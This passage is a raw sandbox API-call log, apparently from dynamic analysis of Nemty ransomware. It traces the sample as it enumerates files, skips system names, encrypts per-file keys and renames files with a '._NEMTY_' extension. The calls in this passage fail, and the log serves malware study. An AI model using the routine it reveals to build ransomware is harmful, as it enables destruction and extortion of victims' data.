pszString="fi/sg78zGEqmTiZX4SOVv+o+OYJM+dR+ZtFtcAsaly+wYjY3DjuVhXJSJfuGqoSM\r\nAJWFlX7gS67sD75SpqBlJTYgczj7usHhKtlXhDMyxJs6NFY/x6epPue/O8KFiH3n\r\n9vFaMyXox+fN/mUZoRn/4CsgtsBL1hSuqi8oEf7B+VVGgmyS7idn4ltP5utXW/QO\r\nwiJkutfy3bNINfmnuzTlg4NXvcMU0PmSRHNE/1j9WD82ma//BycaIjK9KGEJRLuE\r\nHfaelmYT1GeZiX6K/qQoCfI1DBgAo20e5qN4azRwnInBeB2BZtwIoU8JqcXln4eB\r\nVO2wO1qoD4MVk8BM3GCKTQ==\r\n", pcchString=0x653e91c) returned 1 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0063.256] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.256] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0063.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.257] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.257] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0063.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.267] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.267] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.358] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.365] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.365] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0063.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0063.371] CloseHandle (hObject=0xffffffff) returned 0 [0063.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0063.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0063.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.371] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0063.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0063.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0063.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0063.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0063.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0063.371] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0063.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.372] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2=".") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="..") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="...") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="windows") returned -1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="rsa") returned -1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="NTDETECT.COM") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntldr") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="MSDOS.SYS") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="IO.SYS") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="boot.ini") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="boot.ini") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="ntuser.dat") returned 1 [0063.372] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="desktop.ini") returned 1 [0063.373] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="CONFIG.SYS") returned 1 [0063.373] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="RECYCLER") returned -1 [0063.373] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0063.373] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="bootmgr") returned 1 [0063.373] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="programdata") returned 1 [0063.373] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="appdata") returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0063.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pushplaysubpicture.png", lpUsedDefaultChar=0x0) returned 22 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0063.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0063.373] Sleep (dwMilliseconds=0x5) [0063.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd96cb750, dwHighDateTime=0x1d561e7)) [0063.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd96cb750, dwHighDateTime=0x1d561e7)) [0063.381] GetLastError () returned 0x5 [0063.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0063.381] GetLastError () returned 0x5 [0063.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0063.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0063.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0063.381] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0063.381] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0063.381] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0063.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0063.382] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Ujt4t1nUaTHHAZNAPo0diQaz0m6v1wIiLONvVt3oT2Xg2a9vlwttK9PmINS0PUH8\r\nLHxf7MAAMLL3ajl/5idCQf5QB6jGtyrImWahUcTlWS63yhMS5rWEsugqEoq7nY9w\r\nWf9c5JELbChl4d/zNbPkFpbzmVo/TtZt7n0YufIu+I9UWebBNPAkuGOD6JOlb0c1\r\n9ithIalQnGmzeElKLDBRlu9MFbKLQLXC6Jrk6SoVO8z2LwVaMPMSCclJxQtmUvP9\r\nl/XKctB2cQLajk6DgMnL69/cF6rNWE5/Pm3auG6X9wzaxopZaMmfVXz+ax8AM+7C\r\nYoS5x4Z7hVvFnFE6e6DfZw==\r\n", pcchString=0x653e91c) returned 1 [0063.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0063.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0063.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0063.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0063.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0063.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0063.382] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0063.382] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0063.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0063.382] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0063.382] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0063.391] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, 